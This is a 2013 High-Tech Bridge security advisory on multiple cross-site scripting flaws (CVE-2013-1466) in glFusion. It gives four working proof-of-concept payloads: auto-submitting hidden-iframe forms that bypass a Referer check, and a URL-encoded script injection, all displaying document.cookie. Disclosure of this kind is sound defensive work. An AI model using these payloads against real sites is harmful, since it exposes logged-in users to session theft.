Lucene search

K
htbridgeHigh-Tech BridgeHTB23142
HistoryJan 30, 2013 - 12:00 a.m.

Multiple Cross-Site Scripting (XSS) in glFusion

2013-01-3000:00:00
High-Tech Bridge
www.htbridge.com
25

0.027 Low

EPSS

Percentile

90.6%

High-Tech Bridge Security Research Lab discovered multiple XSS vulnerabilities in glFusion, which can be exploited to perform Cross-Site Scripting attacks.
glFusion has a β€œbad_behaviour” plugin (installed by default) that verifies HTTP Referer, aimed to protect against spambots. The plugin also makes reflected XSS attacks against the application a little bit more complex. To bypass the security restriction PoC (Proof-of-Concept) codes for vulnerabilities 1.1 – 1.3 modify the HTTP Referer header. These PoCs were successfully tested in the latest available version of Mozilla Firefox (18.0.1) .

  1. Multiple Cross-Site Scripting (XSS) in glFusion: CVE-2013-1466
    1.1 The vulnerability exists due to insufficient filtration of user-supplied data in β€œsubject” HTTP POST parameter passed to β€œ/profiles.php” script. A remote attacker can trick a logged-in user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.
    The PoC code below uses β€œalert()” JavaScript function to display user’s cookies:
    <html>
    <head>
    <meta http-equiv=β€œContent-Type” content=β€œtext/html; charset=utf-8”>
    </head>
    <body>
    <script>
    var x = 0
    function go2() { location.replace(β€œβ€) }
    function go() {
    if(x) return
    x += 1
    try {
    var html = β€˜<form target=β€œ_parent” action=β€œhttp://[host]/profiles.php” method=β€œpost”>’
    html += β€˜<input type=β€œhidden” name=β€œuid” value=β€œ2”>’
    html += β€˜<input type=β€œhidden” name=β€œauthor” value=β€œauthor”>’
    html += β€˜<input type=β€œhidden” name=β€œmessage” value=β€œ1”>’
    html += β€˜<input type=β€œhidden” name=β€œmessage_html” value=β€œ1”>’
    html += β€˜<input type=β€œhidden” name=β€œauthoremail” value="[email protected]">’
    html += β€˜<input type=β€œhidden” name=β€œpostmode” value=β€œhtml”>’
    html += β€˜<input type=β€œhidden” name=β€œwhat” value=β€œcontact”>’
    html += β€˜<input type=β€œhidden” name=β€œsubject” value='" onmouseover=β€œjavascript:alert(document.cookie);”'></form>’
    window.frames[0].document.body.innerHTML = html
    window.frames[0].document.forms[0].submit()
    } catch(e) {
    go2()
    }
    }
    </script>
    <iframe onload=β€œwindow.setTimeout(β€˜go()’, 99)” src=β€œabout:blank” style=β€œvisibility:hidden”>
    </iframe>
    <script>
    window.setTimeout(β€˜go2()’, 3333)
    </script>
    </body>
    </html>

1.2 The vulnerabilities exist due to insufficient filtration of user-supplied data in β€œaddress1”, β€œaddress2”, β€œcalendar_type”, β€œcity”, β€œstate”, β€œtitle”, β€œurl”, β€œzipcode” HTTP POST parameters passed to β€œ/calendar/index.php” script. A remote attacker can trick a logged-in user into opening a specially crafted link and execute arbitrary HTML and script code in user’s browser in context of the vulnerable website.
The PoC code below uses β€œalert()” JavaScript function to display user’s cookies:
<html>
<head>
<meta http-equiv=β€œContent-Type” content=β€œtext/html; charset=utf-8”>
</head>
<body>
<script>
var x = 0
function go2() { location.replace(β€œβ€) }
function go() {
if(x) return
x += 1
try {
var html = β€˜<form target=β€œ_parent” action=β€œhttp://[host]/calendar/index.php” method=β€œpost”>’
html += β€˜<input type=β€œhidden” name=β€œmode” value=β€œSubmit”>’
html += β€˜<input type=β€œhidden” name=β€œsavecal” value=β€œSubmit”>’
html += β€˜<input type=β€œhidden” name=β€œaddress1” value='" onmouseover=β€œjavascript:alert(document.cookie);”'>’
html += β€˜<input type=β€œhidden” name=β€œcalendar_type” value='" onmouseover=β€œjavascript:alert(document.cookie);”'>’
html += β€˜<input type=β€œhidden” name=β€œcity” value='" onmouseover=β€œjavascript:alert(document.cookie);”'>’
html += β€˜<input type=β€œhidden” name=β€œstate” value='" onmouseover=β€œjavascript:alert(document.cookie);”'>’
html += β€˜<input type=β€œhidden” name=β€œtitle” value='" onmouseover=β€œjavascript:alert(document.cookie);”'>’
html += β€˜<input type=β€œhidden” name=β€œurl” value='" onmouseover=β€œjavascript:alert(document.cookie);”'>’
html += β€˜<input type=β€œhidden” name=β€œzipcode” value='" onmouseover=β€œjavascript:alert(document.cookie);”'>’
html += β€˜<input type=β€œhidden” name=β€œaddress2” value='" onmouseover=β€œjavascript:alert(document.cookie);”'></form>’
window.frames[0].document.body.innerHTML = html
window.frames[0].document.forms[0].submit()
} catch(e) {
go2()
}
}
</script>
<iframe onload=β€œwindow.setTimeout(β€˜go()’, 99)” src=β€œabout:blank” style=β€œvisibility:hidden”>
</iframe>
<script>
window.setTimeout(β€˜go2()’, 3333)
</script>
</body>
</html>

1.3 The vulnerabilities exists due to insufficient filtration of user-supplied data in β€œtitle” and β€œurl” HTTP POST parameters passed to β€œ/links/index.php” script. A remote attacker can trick a logged-in user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.
The PoC code below uses β€œalert()” JavaScript function to display user’s cookies:
<html>
<head>
<meta http-equiv=β€œContent-Type” content=β€œtext/html; charset=utf-8”>
</head>
<body>
<script>
var x = 0
function go2() { location.replace(β€œβ€) }
function go() {
if(x) return
x += 1
try {
var html = β€˜<form target=β€œ_parent” action=β€œhttp://[host]/links/index.php” method=β€œpost”>’
html += β€˜<input type=β€œhidden” name=β€œmode” value=β€œSubmit”>’
html += β€˜<input type=β€œhidden” name=β€œtitle” value='" onmouseover=β€œjavascript:alert(1);”'>’
html += β€˜<input type=β€œhidden” name=β€œurl” value='" onmouseover=β€œjavascript:alert(2);”'></form>’
window.frames[0].document.body.innerHTML = html
window.frames[0].document.forms[0].submit()
} catch(e) {
go2()
}
}
</script>
<iframe onload=β€œwindow.setTimeout(β€˜go()’, 99)” src=β€œabout:blank” style=β€œvisibility:hidden”>
</iframe>
<script>
window.setTimeout(β€˜go2()’, 3333)
</script>
</body>
</html>

1.4 The vulnerability exists due to insufficient filtration of user-supplied data in URI after β€œ/admin/plugins/mediagallery/xppubwiz.php” script. A remote attacker can trick a logged-in user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.
The PoC code below uses β€œalert()” JavaScript function to display user’s cookies:
http://[host]/admin/plugins/mediagallery/xppubwiz.php/%22%3E%3Cscript%3Ealer t%28document.cookie%29;%3C/script%3E/

CPENameOperatorVersion
glfusionle1.2.2